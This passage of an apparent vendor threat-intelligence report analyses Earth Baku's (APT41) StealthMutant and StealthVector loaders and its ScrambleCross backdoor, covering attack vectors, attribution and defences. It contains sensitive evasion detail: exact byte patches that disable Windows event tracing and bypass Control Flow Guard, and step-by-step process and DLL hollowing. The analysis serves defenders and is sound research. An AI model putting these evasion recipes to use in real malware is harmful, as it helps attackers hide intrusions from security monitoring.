telecommunications industries. Earth Baku has yet again updated its arsenal, as evidenced by the latest additions of two shellcode loaders, which we have named StealthVector and StealthMutant, and a modular Windows backdoor, which we have dubbed ScrambleCross. Our in-depth analysis of these newfound malware tools revealed that they have easily customizable features and are distributed through different attack vectors, making it convenient for malicious actors to tailor them to specific victims. This report aims to shed light on the sophisticated toolset involved in this new campaign, although Earth Baku s motives behind the development of the shellcode loaders and backdoor are not entirely clear. While these have been probably used as part of statebacked attacks to collect competitive intelligence, the inner workings of Earth Baku itself remain unknown. It is likely that the group is composed of threat actors who collaborate by sharing tools with diverse attack infrastructures,4 but their use of the new shellcode loaders and backdoor suggests that they have recruited members with specific areas of expertise. Background Late last year, we discovered a new shellcode loader designed to execute an arbitrary shellcode with a stealth mode feature. Since then, we have found multiple variants of this loader, which we have named StealthVector, and, in addition, a shellcode loader written in C#, which we have named StealthMutant. These shellcode loaders have two different payloads: the Cobalt Strike beacon and a newly found modular backdoor, which we have dubbed ScrambleCross. Based on their indicators, we have concluded that the threat actors behind this campaign are linked to Earth Baku, an APT group that also goes by the name APT41. Earth Baku, a cyberespionage and cybercriminal group, was charged by the US Department of Justice in August 2020 with computer intrusion offenses related to data theft, ransomware, and cryptocurrency mining attacks.5 Earth Baku s new campaign, which has been active since at least July 2020, is related to a previous one reported by Positive Technologies6 and FireEye,7 which had used a different shellcode loader, which we had named LavagokLdr, as shown in Figure 1. However, since the group has fully updated its toolset, we recognize this attack as an entirely new campaign. New campaign StealthMutant Jul 2020 onward Cobalt Strike ScrambleCross LavagokLdr Nov 2018 onward Cobalt Strike Crosswalk Metasploit 2020 StealthVector Oct 2020 onward Cobalt Strike ScrambleCross 2021 Figure 1. A timeline of Earth Baku s use of LavagokLdr in its previous campaign and of StealthMutant, StealthVector, and ScrambleCross in its new campaign 4 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor This campaign affects some Indo-Pacific countries, including India, Indonesia, Malaysia, the Philippines, Taiwan, and Vietnam, as illustrated in Figure 2. It targets both enterprises and government entities, including organizations in the airline, computer hardware, automotive, infrastructure, publishing, media, and IT industries. From a geopolitical point of view, many of the countries affected by this recent campaign overlap with those reported in the aforementioned indictment of Earth Baku by the US. Figure 2. The countries affected by the Earth Baku campaign, all in the Indo-Pacific region Source: Trend Micro Smart Protection Network infrastructure 5 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Attack Vectors We have observed that Earth Baku has been using multiple attack vectors for this campaign. Exploitation Against a Web Application Upon studying one of the incident responses from the campaign, we found that Earth Baku performed an SQL injection attack on the victim s web application to gain a foothold in the network, as depicted in Figure 3. Attacker The attacker exploits public Microsoft SQL Server via sqlmap. VBS decodes the Base64-encoded text and drops the components. The BAT le installs StealthVector as a Windows service. VBS dropper BAT launcher Base64-encoded text StealthVector SQL injection Encrypted payload Figure 3. Earth Baku s attack chain using SQL injection as the attack vector 6 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Based on the Visual Basic Script (VBS) scripts used in this attack (Figure 4), we believe that the actors used sqlmap, a Python-based SQL penetration testing tool, to upload a malicious file (Figure 5).8 Figure 4. The VBS file that is dropped in a victim s machine Figure 5. The script in sqlmap 7 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor This dropper decodes a specified Base64-encoded file, and then drops it in a specified file path. In such an attack, the malware creates install.bat, which installs StealthVector as a Windows service (Figure 6). Figure 6. StealthVector installed as a Windows service Exploitation of a Microsoft Exchange Server Vulnerability Another method involves a China Chopper web shell that is uploaded to Microsoft Exchange Server by exploiting the ProxyLogon vulnerability CVE-2021-26855.9 We also detected StealthVector on Microsoft Exchange Server, from which we inferred that Earth Baku likely deployed China Chopper using the ProxyLogon exploit, and then uploaded StealthVector using a web shell (Figure 7). This was not the first time that Earth Baku had capitalized on the ProxyLogon exploit in its operations, as this was also reported by ESET in March 2021.10 We believe that the group s usage of this exploit is likely to continue unless enterprises address this flaw by updating their systems with the released patch. Attacker The attacker exploits the Microsoft Exchange Server vulnerability. The China Chopper web shell is deployed. The StealthVector malware is uploaded via China Chopper. ProxyLogon ASP Web Shell StealthVector Figure 7. Earth Baku s attack chain using exploitation of the ProxyLogon vulnerability as the attack vector 8 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Possible Email Vector Upon further investigation on VirusTotal, we discovered that it is possible that the same threat actors have attempted to distribute StealthVector through LNK (link) files sent as email attachments (Figure 8). The decoy is opened and StealthVector is executed. The LNK downloads using the renamed CertUtil.exe. Decoy Email? Attacker LNK downloader StealthVector Figure 8. Earth Baku s attack chain possibly using an LNK file as the attack vector The LNK file renames CertUtil.exe, a legitimate Microsoft command-line tool, and uses the renamed tool to download both a decoy document and StealthVector (Figure 9). However, we have never seen this type of infection vector in the wild. Figure 9. The LNK file renaming CertUtil.exe InstallUtil.exe via a Scheduled Task StealthMutant, for its part, is executed using a different mechanism. Although we are still not certain how an attacker gains access to a system, we have discovered that StealthMutant is executed by InstallUtil.exe through a scheduled task, as illustrated in Figure 10. 9 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor The attacker drops the components and adds the InstallUtil command line in a scheduled task. InstallUtil.exe executes StealthMutant in the argument. Scheduled task InstallUtil.exe Attacker StealthMutant Encrypted payload Figure 10. The execution of StealthMutant through InstallUtil.exe InstallUtil.exe is a legitimate installer application under Microsoft s .NET Framework, but it is also known as a living-off-the-land binary (LOLBin) that is used in the proxy execution of .NET Framework programs. In a scheduled task, InstallUtil.exe is registered to run StealthMutant, as demonstrated in Figure 11. Figure 11. InstallUtil.exe being registered to run StealthMutant via a scheduled task 10 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Technical Analysis of the Loaders Earth Baku s new campaign takes advantage of the various capabilities of two shellcode loaders, StealthMutant and StealthVector. StealthMutant StealthMutant is an evasive shellcode loader written in C# that has been in use since at least July 2020. It reads a file that is encrypted by AES-256-ECB, decrypts the file in memory, injects its malicious payload into a remote process, and then executes it. We have observed that its payload has been either the Cobalt Strike beacon or the ScrambleCross backdoor. Most of the StealthMutant samples we have come across are obfuscated by ConfuserEx, an open-source obfuscator for .NET Framework applications. After deobfuscating these samples, we have observed raw namespaces and classes that describe their purpose (Figure 12). Figure 12. The namespaces and classes from the deobfuscated samples 11 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor All the strings in StealthMutant are encrypted with the encryption algorithm AES-256-ECB and are decrypted on the spot, as shown in Figure 13. The decrypted strings are as follows: 1. The MagicString class provides a getter property, which decrypts strings on access. 2. The MagicString class has an encrypted string field. 3. The MagicString class provides __Decrypt, a wrapper method for decryption. 4. If it is StealthMutant s first time to use the __Decrypt method, the AES (Advanced Encryption Standard) key and initialization vector (IV) will be initialized based on the hard-coded __factory value, although this IV is meaningless in Electronic Code Block (ECB) mode. The key is the SHA-256 hash, while the IV is the MD5 hash. The values of the SHA-256 and MD5 hashes vary with each StealthMutant sample. 5. The __Decrypt method calls the Crypto.DecryptData method. 6. The Crypto.DecryptData method decrypts the given data by the hard-coded mode or, in this case, the ECB mode. Figure 13. The decrypted StealthMutant strings The main purpose of StealthMutant is to execute the second stage of the shellcode under stealth mode. To this end, StealthMutant patches the EtwEventWrite function s API to disable Event Tracing for Windows (ETW), making it invisible to Windows built-in logging system. StealthMutant appears to support both 32-bit and 64-bit architectures. In the DoPatch method, StealthMutant determines the architecture dynamically, as demonstrated in Figure 14. If it is running on a 32-bit operating system, StealthMutant patches the system with C2 14 00 (ret 0x14) , whereas it patches a 64-bit system with 48 31 C0 C3 (xor rax, rax; ret) 12 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 14. StealthMutant patching based on the architecture The file names of the encrypted payload are hard-coded, but these differ with each StealthMutant sample. The file name string is also encrypted using AES-256-ECB. If the target encrypted file exists in a current running directory, StealthMutant reads and decrypts it in memory. Most of the StealthMutant samples use AES-256-ECB for decryption (Figure 15), but the earlier versions of the malware used XOR for decryption (Figure 16). However, we have not spotted these previous iterations of StealthMutant since July 2020. Figure 15. The version of StealthMutant that uses AES-256-ECB 13 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 16. An older version of StealthMutant that used XOR The StealthMutant variants that use AES-256-ECB and XOR share the same decryption steps. The StealthMutant samples that use AES have an encrypted file containing junk bytes, the signature, the seed for the key, the seed for the IV, and the encrypted payload body. The sizes of the junk bytes, the seed for the key, and the seed for the IV vary among the samples. The decryption algorithm of one such StealthMutant sample (Figure 17), which has a junk bytes size of 128, a key seed size of 12, and an IV seed size of 12, is as follows: 1. Calculate the MD5 hash of the encrypted payload body. The body is composed of the key seed, the IV seed, and the encrypted payload. 2. Compare the MD5 hash with the signature in the encrypted file to check its integrity. 3. Copy the specified size of bytes following the signature, and then calculate the SHA-256 hash for the AES key. 4. Copy the specified size of bytes following the seed for the key, and then calculate the MD5 hash for AES IV. However, this is meaningless in ECB mode. 5. Decrypt the rest of the bytes using AES-256-ECB with the generated SHA-256 key. 6. Compare the specified size of bytes at the top of the decrypted bytes with that of the hard-coded bytes, which can be found in the Protocol.Flag field. 7. If StealthMutant passes all these verifications, read the specified size of the payload. 14 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Junk Signature Bytes to generate key Bytes to generate IV Encrypted payload Size AES-256-ECB Key = SHA-256 (bytes to generate key) Signature Shellcode Figure 17. A StealthMutant sample s decryption algorithm After the decryption of its payload, StealthMutant executes this shellcode payload in a remote process by using the process hollowing technique. As shown in Figure 18, StealthMutant performs process hollowing through the following steps: 1. It creates a specified process, which is hard-coded in binary, in suspended mode. 2. It creates a new section, maps a view of it in the local process by using NtCreateSection and ZwMapViewOfSection, and copies the decrypted shellcode onto this section. 3. It maps the section to the remote process, which also results in mapping of the shellcode in the remote process. 4. It looks for the entry point of the remote suspended process and patches it to change the execution flow into the entry of the mapped payload. 5. Finally, it resumes the main thread of the suspended process and executes the payload. 15 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor StealthMutant Legitimate process Spawn process in suspended mode. Code Decrypt Payload Payload Legitimate code Patch entry point to jump payload in DLL, and then resume thread. Payload Map view of section to remote process. Create section, map to local process, and then copy payload. Encrypted payload Figure 18. StealthMutant performing process hollowing to execute its payload This technique is widely used as a red-team tool in C#. Based on its code, we assume that the author of StealthMutant possibly reused an open-source process hollowing implementation from GitHub.11 StealthVector In October 2020, we discovered StealthVector, an evasive shellcode loader written in C/C++. This malware implements various evasion techniques and is still actively being developed. We have observed that its payload is either the Cobalt Strike beacon or the malware ScrambleCross. (The Japanese security service company LAC previously published a blog post discussing the Cobalt Strike beacon.12) StealthVector is designed to execute the second stage of the payload in stealth mode. This means that its evasive techniques can be enabled and disabled by its embedded configuration. Because of this, malicious actors can easily customize this loader for their targets. The configuration of StealthVector (Figure 19) is embedded in its data section with ChaCha20 encryption, which is decrypted upon initialization (Figure 20). This ChaCha20 routine notably uses a fixed custom value of 0x13 for the initial counter (Figure 21). Figure 19. The configuration of StealthVector 16 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor ChaCha20 nonce for con CRC-32 of encrypted con Size of encrypted con Encrypted con Key for ChaCha20 Figure 20. The locations of StealthVector s encrypted configuration and ChaCha20 key information Figure 21. The fixed custom value used in the ChaCha20 routine 17 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor According to RFC7539, the Internet Engineering Task Force (IETF) specification for the ChaCha20 stream cipher and the Poly1305 authenticator,13 the ChaCha20 algorithm uses a 32-bit initial counter. This counter can be any number but is usually 0 or 1. As far as we have observed, StealthVector always uses 0x13 for its initial counter, which is an uncommon practice. This makes it difficult to decrypt the malware configuration using common methods such as the Python library pycryptodome, which does not support custom initial counters. The decrypted configuration data is copied onto a newly allocated buffer, which determines its behavior. There are two types of configurations found in the wild. One is for a local shellcode runner, which has a size of 0x38. This type of configuration has fields for checksum, flags for context awareness, flags for evasive features, and information for the payload (Figure 22 and Figure 23). Figure 22. The configuration that loads the encrypted payload from StealthVector s own binary Figure 23. The configuration that loads the encrypted payload from a defined file path The other is for a remote shellcode injector, which has a size of 0x44. This type of configuration has fields for checksum, flags for context awareness, flags for evasive features, information for injection, and information for the payload (Figure 24 and Figure 25). 18 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 24. The configuration that loads the encrypted payload from a defined file path but no injection Figure 25. The configuration that loads the encrypted payload from a defined file path and performs process injection Configurable Features StealthVector has various configurable features that enable malicious actors to easily modify its behavior. We believe this design is meant to keep malware development simple, as the actors will not need to change its source code in order to implement these features. We discuss these features in the succeeding subsections. Disabling Event Tracing for Windows StealthVector can disable ETW to cover its tracks, as shown in Figure 26. Figure 26. StealthVector configured to disable ETW 19 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Context Awareness A common feature of other malware, such as mutual exclusion object (mutex) checking or username checking for context awareness, can also be configured into StealthVector, as shown in Figure 27. Figure 27. StealthVector configured for context awareness Logic to Determine Payload Location StealthVector decrypts and executes its payload in memory, but it can also be configured to load its encrypted payload in a specific location. Some variants embed the payload in its binary, while others load it to another file in the same directory, whose file name is specified in the malware s configuration (Figure 28). The decryption logic is the same for all variants of StealthVector: It reads the specific size of data from a specific offset. The values for the offset and the size of the encrypted payload are already defined in the malware s configuration. Afterward, the payload will be decrypted by ChaCha20. This same routine is used in decrypting StealthVector s configuration, but the nonce for its payload is already defined in the configuration (Figure 29). Figure 28. A StealthVector variant that embeds its encrypted payload into a specific file 20 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 29. Stealthvector s decryption logic 21 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Self-Uninstallation StealthVector can also uninstall itself based on its configuration, as shown in Figure 30. Figure 30. StealthVector s uninstall configuration Shellcode Execution Techniques StealthVector implements various shellcode execution techniques. We discuss these techniques in the succeeding subsections. Execution Using CreateThread The simplest way for StealthVector to execute its shellcode payload is by using the CreateThread function, as shown in Figure 31. Figure 31. Execution of the shellcode using CreateThread Module Stomping in Local Process Some variants of StealthVector implement an evasive technique called module stomping, which is designed to bypass the detection of reflective loading. Module stomping is well known because Cobalt Strike has implemented this feature in its version 3.11.14 In the case of StealthVector, however, the injected payload is a shellcode instead of a dynamic link library (DLL). To perform this technique, StealthVector looks for a legitimate DLL that has sufficient space for its payload, (payload_size + 2048) , as shown in Figure 32. 22 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 32. StealthVector looking for a DLL with enough space for its payload Once it finds one that meets its space requirement, StealthVector loads that DLL using the LoadLibraryExW function, with the flag DONT_RESOLVE_DLL_REFERENCES. As shown in Figure 33, when this flag is enabled, the system does not call the DllMain of the target DLL upon loading. Figure 33. StealthVector enabling DONT_RESOLVE_DLL_REFERENCES after finding its target DLL 23 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Once it loads the target DLL, StealthVector changes the protection settings of the DLL using read, write, and execute (RWX) permissions. It then copies its payload onto the legitimate DLL and executes the payload through the CreateThread function, as illustrated in Figure 34. StealthVector Overwrite with shellcode and execute. Payload Legitimate DLL Code Decrypt. Find DLL and LoadLibraryExW. Encrypted payload Encrypted payload Figure 34. StealthVector s process of overwriting the target DLL with its malicious payload Bypassing Control Flow Guard As shown in Figure 35, some variants of StealthVector run their shellcode by bypassing Microsoft Control Flow Guard (CFG), an exploit mitigation technology. CFG makes it difficult for malware to run code on Windows operating systems by restricting indirect calls to an unapproved address. In this case, StealthVector executes its shellcode using CreateThread, which checks the target address. In order to sidestep attempts to verify its indirect call, StealthVector will then patch the LdrpHandleInvalidUserCallTarget API in ntdll.dll with 48 FF E0 CC 90 (jmp rax; int3; nop) , as shown in Figure 36. LdrpHandleInvalidUserCallTarget is called when CFG, through the LdrpValidateUserCallTarget function, determines that the target address is invalid. StealthVector can patch this API without crashing the application. 24 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 35. StealthVector bypassing CFG to execute its shellcode Figure 36. StealthVector patching LdrpHandleInvalidUserCallTarget Phantom DLL Hollowing in Remote Process Some variants of StealthVector can also inject their shellcode payload into a remote process using phantom DLL hollowing, a technique that is a combination of process hollowing and module stomping (Figure 37). To do this, StealthVector spawns a new process, which is specified in its configuration, in suspended mode. StealthVector uses the NtCreateSection and ZwMapViewOfSection APIs to load a legitimate DLL into this newly created process. The logic of finding its target DLL is the same as that in module stomping: It checks if the code section, or (.text section size), is large enough. Afterward, it overwrites the code section of the loaded DLL with its own payload and executes it in the DLL s memory space. It then patches the entry point of the legitimate process in order to modify the shellcode s execution flow to this entry point in the DLL. Using this method, malicious actors can hide StealthVector s payload within the memory space of an image, which often goes unnoticed by common memory scan engines, and execute it like a normal module. 25 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor StealthVector Legitimate process Spawn process in suspended mode. Code Map legitimate DLL to section. call Legitimate code Patch entry point to call payload in DLL, and then resume thread. Decrypt Encrypted payload Encrypted payload Payload Map view of section to remote process. Overwrite speci function with shellcode. Figure 37. StealthVector performing phantom DLL hollowing 26 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Technical Analysis of the Payloads Our analysis has revealed that StealthMutant and StealthVector can contain two different payloads. One is the Cobalt Strike beacon and the other is the newly found malware ScrambleCross. Cobalt Strike Beacon Among most of the samples we have come across, there are two types of Cobalt Strike beacons: a hybrid HTTP DNS (Domain Name System) and HTTPS. Interestingly, all the Cobalt Strike beacons in memory are in a Portable Executable (PE) file format with a characteristic header, as shown in Figure 38. While it appears as a valid MZ header, it can also be executed as machine code. Figure 38. The Cobalt Strike beacon in a PE file format 27 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor This assembly, much like a PE header, calculates the address of a specific function, which serves as the entry point for the reflective loader to dynamically initialize and execute a DLL. It should also be noted that some of the samples have PE files with broken headers, although they still operate in the same way (Figure 39). Figure 39. A broken PE header The Cobalt Strike beacons in the samples we have uncovered bear similarities to those used in attacks carried out by the Chimera APT group, as reported by Cycraft.15 However, it remains uncertain whether this campaign can definitively be linked to Chimera, as many similar Cobalt Strike beacons and Meterpreter shellcodes can also be found on VirusTotal (Figure 40). Figure 40. Search results for Cobalt Strike beacons on VirusTotal The Cobalt Strike beacon found in the StealthMutant and StealthVector samples has two types of watermarks. One is 305419896 , which is that of a cracked version, and is widely used by a variety of other malicious actors, according to research conducted by VMware Carbon Black.16 The other watermark 426352781 , which has been in use since at least May 2021 but has never been attributed to malicious actors before. 28 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor ScrambleCross, or a Refactored Crosswalk During our analysis, we found a never-before-seen shellcode as a payload of StealthMutant and StealthVector. Upon closer study, we learned that this payload uses similar techniques to those of the Crosswalk backdoor. A modularized shellcode-based backdoor that is known to be used by Earth Baku, Crosswalk can execute additional shellcodes on memory as a plug-in. According to an indictment by the US Department of Justice,17 Crosswalk was also used by members of Chengdu 404 Network Technology, a network security business. The similarities between Crosswalk and ScrambleCross indicate that the actual entity behind this campaign could be or is linked to members of Chengdu 404 Network Technology. Following our analysis, we have concluded that this unknown payload is a new version, or rather a fully refactored version, of Crosswalk. It still has many of the same capabilities as Crosswalk, but these are implemented differently. Considering this, we have named this new backdoor ScrambleCross to distinguish it from its predecessor. ScrambleCross shares the following features with Crosswalk: It is designed as fully position-independent code. It has encrypted code, data, and configuration. It calculates the hash of the code section as an anti-debugging technique. It supports multiple types of network communication protocols. It uses message queues to asynchronously receive commands from worker threads. Crosswalk s capabilities have been documented at length by the likes of Positive Technologies, ZScaler,18 and VMware Carbon Black.19 But there are some key differences between this backdoor and ScrambleCross. Much like Crosswalk, ScrambleCross also embeds encrypted code in itself, but it uses a slightly different encryption algorithm to do so. To decode its functions and global values, including imports or strings, ScrambleCross uses a 16-byte XOR, as shown in Figure 41. 29 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor XOR key for global values XOR (size = 0x1014) Signature of code Signature of global values (cleared right after use) XOR key for code Imports Figure 41. ScrambleCross using a 16-byte XOR to decode its functions and global values However, for its network configuration, ScrambleCross uses ChaCha20 for decryption instead of XOR (Figure 42). The encrypted network configuration is embedded at offset 0x1028 from the top of the configuration. 30 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor ChaCha20 key MDS of encrypted con IP address in network byte order ChaCha20 nonce # of Con Type 1 ChaCha20 (counter = 0xB) Size # of Con Type 2 Enable TLS for g Type 1 Enable TLS for g Type 2 Size of hostname Size of object name Port for g Type 1 Port for g Type 2 Hostname for g Type 2 Figure 42. ScrambleCross using ChaCha20 for decryption in its network configuration Like StealthVector, ScrambleCross uses a fixed value of 0xB for its initial counter. The ChaCha20 routine shown in Figure 43 is used for encryption and decryption. Figure 43. The ChaCha20 routine 31 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor With regard to its command-and-control (C&C) server communication, Crosswalk supports TCP (Transmission Control Protocol) and HTTP for application layer protocols, and uses AES-128 for transport layer encryption. ScrambleCross similarly supports TCP, HTTP, and HTTPS for application layer protocols, but it instead uses ChaCha20 and a custom message structure for transport layer encryption. Regardless of whether TCP or HTTP protocols are used, both the client request and the C&C server response have the same message structure. The client request data is compiled in the following nine steps, as illustrated in Figure 44. On the other hand, after deconstructing the server response data, we found that it is compiled in reverse order. 1. Receive a 16-byte challenge from the server, or generate a 16-byte null key instead. 2. Generate a random 16-byte ChaCha20 nonce. 3. Generate a 32-byte ChaCha20 key. 4. Compress the raw request data using the LZ4 compression algorithm. 5. Encrypt the payload chunk with ChaCha20, using the key generated in Step 3. The nonce is the first 12 random bytes generated in Step 2. 6. Calculate the MD5 hash of the victim information. The victim information consists of the globally unique identifier (GUID), botID, and computer name of the victim s device. 7. Encrypt the header chunk with ChaCha20, using the key embedded in the network configuration. The nonce is the last 12 random bytes generated in Step 2. 8. Calculate the total size of the MD5 hash, which is the sum of 13, the nonce, the encrypted header chunk, and the encrypted payload chunk. Copy the MD5 hash onto the top of the message data. 9. If the message is sent in TCP, add the size of the message data on top of the message data. Payload chunk Original data size (WORD) Compressed data size (WORD) Raw request payload enc payload Compressed data size (WORD) Message Hash of following data (16 bytes) Fixed ChaCha20 key (32 bytes) Nonce [0:12] Nonce [4:16] Nonce (16 bytes) Computer name (30 bytes) Message HTTP header HTTP Header chunk Server challenge (16 bytes) Hash of victim info (16 bytes) Machine GUID (40 bytes) BotID (16 bytes) enc payload (4 bytes + compressed data size) Session ID (DWORD) Request ID (DWORD) Size of message (DWORD) enc header (44 bytes) ChaCha20 key in g (32 bytes) Server challenge or null bytes Total size 13 (word) enc header Command (DWORD) Figure 44. ScrambleCross compilation of request data 32 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Message ScrambleCross, like Crosswalk, also receives backdoor commands from its C&C server, as shown in Figure 45, but these are very different from those for Crosswalk. In the case of ScrambleCross, the purpose of its backdoor commands is to receive plug-ins from the C&C server and to manipulate these plug-ins, as indicated in Table 1. However, since a backdoor command s capacity for manipulating plug-ins depends on the specific plug-in it receives, and we have been unable to retrieve any plug-ins from the server, we have yet to determine the full extent of the commands plug-in manipulation functions. Figure 45. ScrambleCross receiving backdoor commands from its C&C server Command Action Do nothing. 0x64 Run all the loaded plug-in s entry at offset 0x48, which possibly tries to close sessions in the plug-in and close current sessions. 0x5C Update the ChaCha20 key for message encryption and decryption on C&C communication. 0x66 Change the current status based on the Base64-like string in response. 0x68 Change the unknown DWORD value. 0x70 Update the maximum interval period. 0x74 Possibly uninstall all the plug-ins. Enumerate the loaded plug-ins, run the plug-in s entry at offset 0x38 if it is already initialized, and then unload the plug-in. 33 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Command Action 0x78 Find a plug-in by ID and, if it is already initialized, run the plug-in s entry offset at 0x38. If the plug-in s entry offset at 0x38 returns false, it will be unloaded. 0x7C Possibly initialize a new plug-in. It receives new plug-in data from the C&C server and runs the plug-in s entry at offset 0x30. 0x7E Possibly try to remove a specified server challenge from the server challenge list. Find a plug-in by ID (or if 0xFF is specified, all plug-ins will be targeted) and, if it is already initialized, run the plug-in s entry offset at 0x50. Afterward, look for the given challenge bytes in the registered challenge list and remove them from the list. 0x80 Find a plug-in by ID and, if it is already initialized, run the plug-in s entry offset at 0x38. If the plug-in s entry offset at 0x38 returns false, the plug-in and related registered server challenge will be unloaded. 0x82 Enumerate the user information and send it back to the C&C server. 0x84 Change the unknown DWORD value. 0x8C Send the current configuration values to the C&C server. 0x8E Load additional configuration from the message and try to save to file. None of the above Enumerate all the loaded plug-ins and run the plug-in s entry offset at 0x40. Table 1. A list of backdoor commands for ScrambleCross Because ScrambleCross supports HTTPS, some variants of this backdoor abuse Cloudflare Workers, a computing platform, to obscure their C&C server activity. Cloudflare Workers can prove to be a powerful and accessible tool for malicious actors for the following reasons: Cloudflare Workers provides better scalability, making it useful for malicious actors who want to build their C&C infrastructure. The malware will not communicate with the C&C server directly, posing a challenge for security analysts to find the actual IP address to block. C&C traffic on Cloudflare Workers makes blocking of ScrambleCross C&C server much more difficult because the observed IP address is a Cloudflare IP address rather than that of the actual C&C server. The Cloudflare Workers platform is allowed by many security products. Connections to Cloudflare Workers are often considered legitimate and thus will likely be overlooked by network monitoring solutions. 34 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Attribution As previously mentioned, we have concluded that the threat actors behind this malware are linked to Earth Baku. This attribution is supported by the following key findings. Use of install.bat During an incident response, we found the installer script for StealthVector called install.bat (Figure 46). This is the same batch file used in a previous cyberespionage campaign carried out by APT41, according to the aforementioned FireEye report (Figure 47). Figure 46. The install.bat script 35 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 47. The batch file used by APT41, according to FireEye s report Code Similarities to the Shellcode Loader Used by APT41 We have observed that Storesyncsvc.dll, the DLL version used by StealthVector, has an entry point for service (Figure 48) that resembles the one mentioned in FireEye s report (Figure 49). There are also similar procedures for loading the necessary APIs between the Storesyncsvc.dll versions of the StealthVector sample (Figure 50) and the one from the FireEye report (Figure 51). 36 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 48. Storesyncsvc.dll in StealthVector Figure 49. Storesyncsvc.dll in the FireEye report sample 37 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 50. Storesyncsvc.dll s procedure for loading APIs in the StealthVector sample Figure 51. Storesyncsvc.dll s procedure for loading APIs in the FireEye report sample Technique Similarities to Crosswalk Crosswalk and ScrambleCross implement similar techniques. Both pieces of malware decode their main functions and strings with XOR, after which they check the signature of the decoded section, as shown in Figure 52 and Figure 53. 38 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Figure 52. Crosswalk code that checks the signature of its decoded section Figure 53. ScrambleCross code that checks the signature of its decoded section 39 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Conclusion and Security Recommendations The discovery of these new pieces of malware demonstrates that Earth Baku consists of members with varied skill sets. The group s use of the StealthMutant and StealthVector loaders indicates that among their ranks is at least one member who is familiar with tools and techniques used by red teams. Likewise, the group s use of the ScrambleCross backdoor points to at least one member who likely has a deep knowledge of low-level programming and complex software development. Evidence of members with these collective skills obscures the true purpose behind this new campaign. Even though Earth Baku engaged in ransomware attacks in early 2020,20 we have not observed the use of ransomware in this new campaign. Instead, as a report by Group-IB suggests,21 this latest campaign by Earth Baku may be focused on cyberespionage. It is our hope that this report will encourage other security researchers to publish further research about this threat actor group and its activities. Here are several measures that end users and organizations can take to defend their networks and systems against cyberespionage tactics and minimize the risk of compromise: Practice the principle of least privilege. Limit access to sensitive data and carefully monitor user permissions to make lateral movement more difficult for attackers who want to infiltrate a corporate network. Be mindful of security gaps. Regularly update systems and applications, and enforce strict patch management policies. Practice virtual patching to secure any legacy systems for which patches are not yet available. Have a proactive incident response strategy. Implement defensive measures that are designed to assess threats and mitigate their impact in the event of a breach. Routinely carry out security drills to test the efficiency of the organization s incident response plan. Enforce the 3-2-1 rule. Store at least three copies of corporate data in two different formats, with one air-gapped copy located off-site. Routinely update and test these copies to ensure that there are no errors in the backup process. 40 | Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Enterprises and government agencies can benefit from advanced Trend Micro solutions that can proactively keep IT environments protected from a wide range of cybersecurity threats. The Trend Micro XDR service effectively protects connected emails, endpoints, servers, cloud workloads, and networks.22 It uses powerful AI and expert security analytics to correlate data, and deliver fewer yet higher-fidelity alerts for early threat detection. In a single console, it provides a broader perspective of enterprise systems while at the same time giving a more focused and optimized set of alerts. This allows IT security teams to have better context for identifying threats more quickly and therefore to understand and remediate impact much more effectively. The Trend Micro Managed XDR service, meanwhile, provides expert threat monitoring, correlation, and analysis from skilled and seasoned managed detection and response analysts.23 Managed XDR is a flexible, 24/7 service that allows organizations to have a single source of detection, analysis, and response. Analyst expertise is enhanced by Trend Micro solutions that are optimized by AI and enriched by global threat intelligence. The Managed XDR service allows organizations to expand with the cloud without sacrificing security or overburdening IT teams. 41 | Earth Baku: An APT Group Targeting Indo-Pacific 